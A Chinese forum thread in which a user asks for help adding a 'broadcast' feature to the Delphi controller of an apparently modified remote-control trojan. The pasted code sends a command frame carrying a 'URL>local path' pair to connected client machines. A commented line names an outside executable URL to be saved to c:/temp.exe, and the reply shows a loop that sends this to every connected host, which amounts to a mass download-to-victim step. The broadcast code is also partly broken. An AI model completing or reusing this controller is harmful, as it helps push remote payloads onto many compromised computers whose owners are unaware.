远程控制广播问题(41分)

  • 主题发起人 主题发起人 大狗熊
  • 开始时间 开始时间

大狗熊

Unregistered / Unconfirmed
GUEST, unregistred user!
编译INSTITUTION得改进版源码
遇到一个问题,广播不知道怎么搞了,思路是循环连接主机后发送数据
具体不会弄了,请高手指点


代码1
连接主机
procedure TMain.N13Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
DelFile: TDelFile;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
DelFile := TDelFile.Create(Application);
DelFile.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
DelFile.WindowItem := Window.ListView1.Items.Add;
DelFile.WindowItem.Data := DelFile;
DelFile.WindowItem.Caption := '远程卸载';
DelFile.WindowItem.SubItems.Add(Split(DelFile.RemoteAddress, ':', 1));
DelFile.WindowItem.SubItems.Add(Split(DelFile.RemoteAddress, ':', 2));
DelFile.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;

代码2
下载命令
procedure TDelFile.Button2Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
szInfo: String;
begin
if (edit1.Text = '') OR (edit2.Text = '') then Exit;
szInfo :=Edit1.Text + '>' + Edit2.Text;
CommandFrame.len := Length(szInfo) + 1;
CommandFrame.Command := DFL_DELMIN;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(szInfo)^, Length(szInfo) + 1);
Main.SendStream(DataSocket, ReplyStream);
end;

循环得条件
if Main.ListView1.Items.Count = 0 then Exit;
for ListLoop := 0 to Main.ListView1.Items.Count - 1 do
begin
if ListLoop >= Main.ListView1.Items.Count then Exit;
ListItem := Main.ListView1.Items.Item[ListLoop];
ListItem.SubItems.Clear; //清空
Info := TStreamRecord(TCustomWinSocket(ListItem.Data).Data).Info;

。。。。。
这里代码不知道怎么写了

请高手指点
 
procedure TDelFile.Button3Click(Sender: TObject);
var
Socket: TCustomWinSocket;

procedure loop1;
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
szInfo: String;
begin
if (edit1.Text = '') OR (edit2.Text = '') then Exit;
szInfo :=Edit1.Text + '>' + Edit2.Text;
//szinfo:='http://www.1718china.com/inc/1.exe'+'>'+'c:/temp.exe';
CommandFrame.len := Length(szInfo) + 1;
CommandFrame.Command := DFL_DELMIN;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(szInfo)^, Length(szInfo) + 1);
Main.SendStream(Socket, ReplyStream);
end;

var
i: Integer;
// Socket: TCustomWinSocket;
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
StreamRecord: TStreamRecord;
begin
CommandFrame.len := 0;
CommandFrame.Command := $FFFFFFFF;
CommandFrame.ID := FRAME_ID;
if Main.ListView1.Items.Count = 0 then Exit;
for i := 0 to Main.ListView1.Items.Count - 1 do
begin
if i >= Main.ListView1.Items.Count then Exit;
Socket := TCustomWinSocket(main.ListView1.Items);

StreamRecord := TStreamRecord(Socket.Data);
if not StreamRecord.ReceivingStream then
begin
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
main.SendStream(Socket, ReplyStream);
end;
end;
loop1;
end;
整理了一下,还是无法搞定,请高手帮忙看看
 

Similar threads

后退
顶部